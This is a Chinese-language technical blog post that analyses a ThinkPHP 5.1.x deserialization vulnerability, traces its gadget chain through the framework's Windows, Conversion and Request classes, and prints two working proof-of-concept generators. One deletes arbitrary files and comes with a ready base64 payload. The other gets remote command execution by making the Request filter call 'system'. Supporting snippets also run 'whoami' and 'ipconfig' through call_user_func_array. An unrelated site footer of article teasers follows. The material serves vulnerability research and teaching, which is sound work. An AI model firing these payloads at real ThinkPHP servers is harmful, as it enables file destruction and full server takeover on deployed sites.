thinkphp 反序列化漏洞

文章目录

  • 配置xdebug
  • 反序列化漏洞
    • 利用链
    • 详细分析
      • poc1(任意文件删除)
      • poc2(任意命令执行)
  • 补充代码

配置xdebug

php.ini

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展

配置防调试超时

1.打开apache配置文件注释掉如下,并添加一行。# Various default settings
Include conf/extra/httpd-default.conf 将注释去掉
Include conf/extra/httpd-fcgid.conf 添加此行2. 更改httpd-default.conf如下内容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 36003.更改php.ini如下内容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.4.在extra目录下创建httpd-fcgid.conf,写入如下内容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0 
FcgidMaxProcesses 16 
FcgidMaxRequestLen 268435456   
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php

反序列化漏洞

测试版本5.1.37

适用版本5.1.16-5.1.40

利用链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

详细分析

修改控制器

<?php namespace app\index\controller; class Index { public function index() { unserialize(base64_decode($_GET['id'])); return "Welcome!"; } 
}

查找入口__destruct,进入windows类

在这里插入图片描述

    public function __destruct(){$this->close();$this->removeFiles();}

查看removeFiles方法

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

poc1(任意文件删除)

<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];//这里一定要绝对路径
}
$a=new Windows();
echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

在这里插入图片描述

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类

    public function __toString(){return $this->toJson();}
    public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item       = [];$hasVisible = false;
...
if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}
...}

if里的relation不为空,进入第二个if后先跟进getAttr,又调用了getData(),getData(),这里 $this->data可控

public function getAttr($name, &$item = null){try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}
...return $value;
public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];

自此,relation->visible($name) 变成了:可控类->visible(可控变量)

接下来的思路就是找 可利用的visible()方法 或者 可利用的 __call()

这里有一个细节,使用__call代替visible时,visible会作为KaTeX parse error: Expected group after '_' at position 9: method传入_̲_call方法,name则传入args

一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用
经过查找发现 think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值

thinkphp\library\think\Request

    public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}//call_user_func_array([$obj,"任意方法"],[$this,任意参数])
//也就是
//$obj->$func($this,$argv)

这里的method是前面传递过来的visible,​this->hook可控,因此只需要设置this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array(this->hook[method], args); 相当于call_user_func_array(‘任意方法’, args);

这里有个 array_unshift(args, ​this); 会把this放到​arg数组的第一个元素

开始寻找不受this对象影响的方法

这种情况是很难执行命令的,但是Thinkphp作为一个web框架, Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处) 所以可以尝试覆盖filter的方法去执行代码 寻找使用了过滤器的所有方法 发现input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

public function input($data = [], $name = '', $default = null, $filter = ''){...$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组$data = $this->getData($data, $name);...if (is_object($data)) {//$data不能是对象return $data;}}// 解析过滤器//getFilter方法里如果 $filter = false 则 $filter = $this->filter;因此$filter可控$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);...} else {$this->filterValue($data, $name, $filter);}...return $data;}

继续查找调用input方法的的函数

param方法第一个参数可控,从这里入手

public function param($name = '', $default = null, $filter = '')
{if (!$this->mergeParam) {...}if (true === $name) {...}return $this->input($this->param, $name, $default, $filter);
}

function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,调用链完成

  public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

poc2(任意命令执行)

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["poc"=>[" "," "]];$this->data = ["poc"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $mergeParam=true;protected $param = [];protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";//回调时调用的PHP函数$this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变$this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax$this->mergeParam=true;//绕过param方法里的一些操作$this->param=["calc",""];//input方法的$data,也是即将执行的命令}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

补充代码

__call( m e t h o d , method, method,arguments)

<?php
class Test
{
//    function __destruct(){
//        echo "coleak1";
//    }function  __call($method,$arguments){echo "__call" .PHP_EOL. $method.PHP_EOL;print_r($arguments);}
}
$a=new Test();
$a->acdads('aaaaa');

__call
acdads
Array
(
[0] => aaaaa
)

array_unshift

<?php
$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>

Array
(
[0] => blue
[a] => red
[b] => green
)

call_user_func_array

<?php
$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);

coleak\admin

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/1589.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习之K-means聚类算法

目录 K-means聚类算法 算法流程 优点 缺点 随机点聚类 人脸聚类 旋转物体聚类 K-means聚类算法 K-means聚类算法是一种无监督的学习方法&#xff0c;通过对样本数据进行分组来发现数据内在的结构。K-means的基本思想是将n个实例分成k个簇&#xff0c;使得同一簇内数据相…

井盖异动监测传感器:井盖的安全守护者

随着城市化进程的不断加速&#xff0c;城市道路、人行道上的井盖扮演着重要的角色。然而&#xff0c;由于各种因素&#xff0c;如车辆冲击、材料老化等&#xff0c;井盖常常会出现异动情况&#xff0c;井盖异动不仅对行车和行人的安全构成威胁&#xff0c;还给城市基础设施的维…

机器学习之PCA算法

目录 PCA算法 PCA目标 PCA原理推导 基于最大可分性推导 基于最近重构误差推导 PCA算法流程 PCA优点 PCA缺点 基于PCA的人脸识别 PCA算法 PCA&#xff0c;即主成分分析&#xff08;Principal Component Analysis&#xff09;&#xff0c;是一种常用的降维技术&#x…

0-1BFS 双端队列 广度优先搜索

一. BFS及0-1BFS的简单介绍 深度优先搜索DFS和广度优先搜索BFS是经常使用的搜索算法&#xff0c;在各类题目中都有广泛的应用。 深度优先搜索算法&#xff08;英语&#xff1a;Depth-First-Search&#xff0c;DFS&#xff09;是一种用于遍历或搜索树或图的算法。其过程简要来说…

【DBA专属】mysql-------->>>MMM高可用集群架构

Mysql---MMM高可用集群架构 目录 MMM安装部署 环境配置&#xff1a;&#xff08;所有主机配置&#xff09; 1、主机信息 2、关闭防火墙 3、同步时区 4、配置主机解析文件 5、配置ssh免密登录 6、所有机器安装epel源 数据库配置&#xff1a; 【所有数据库均做的配置】…

【探索 Kubernetes|作业管理篇 系列 9】Pod 的服务对象

前言 大家好&#xff0c;我是秋意零。 在上一篇中&#xff0c;我们介绍了 Pod 的生命周期以及区分 Pod 字段的层次级别&#xff0c;相信你对此有了充分的认识。 今天&#xff0c;我们还会接着以 Pod 展开&#xff0c;说说它的 “服务对象”&#xff0c;一听就知道是对 Pod 提…

Vuforia专题:设置AR摄像头自动对焦

Vuforia专题&#xff1a;设置AR摄像头自动对焦 一&#xff0c;前言 在之前使用的时候&#xff0c;如果没有设置自动对焦可以发现&#xff0c;摄像头画面极其模糊。并导致识别的结果不是很理想 加上自动对焦后的效果如下&#xff1a; 二、具体步骤 1、ARCamera添加脚本Cam…

嵌入式中C++开发的基本操作方法

第一&#xff1a;面向对象 1、配置环境 虚拟机上网&#xff08;ping www.baidu.com&#xff09;sudo apt-get update //更新软件包sudo apt-get install -f //更新软件依赖sudo apt-get install g //安装c编译器 2、C发展 c98,第一版 c03,c11,c17 3、为什么学习C 4、面向对…

计算机网络——网络层

序言 计算机网络中的网络层在当今的社会起到了什么作用&#xff1f; 现在的互联网通信&#xff0c;远程办公和远程教育&#xff0c;电子商务和在线服务&#xff0c;信息共享和社交媒体&#xff0c;物联网和智能家居都是通过网络层才能使用的。它连接了人们、设备和信息&#xf…

MyBatis 执行流程详解及示例代码

导言&#xff1a; MyBatis 是一个优秀的持久层框架&#xff0c;它简化了数据库操作的开发过程。本文将详细介绍 MyBatis 的执行流程&#xff0c;并提供相应的示例代码&#xff0c;帮助读者更好地理解和应用 MyBatis。 1. 创建 SqlSessionFactoryBuilder 对象 在 MyBatis 中&…

【SpringCloud学习笔记】gateway网关

gateway网关 核心概念&#xff1a; 路由&#xff08;route&#xff09;&#xff1a;路由信息由 D、目标 RI、一组断言和一组过滤器组成。如果断言路由为真&#xff0c;则说明请求的 URI 和配配断言&#xff08;predicate&#xff09;&#xff1a; Java8 中的断言函数&#xf…

总结911

目标规划&#xff1a; 月目标&#xff1a;6月&#xff08;线性代数强化9讲&#xff0c;考研核心词过三遍&#xff09; 周目标&#xff1a;线性代数强化5讲&#xff0c;英语背3篇文章并回诵&#xff0c;检测 每日规划 今日已做 1.回诵之前文章 2.每日长难句&#xff0c;句句…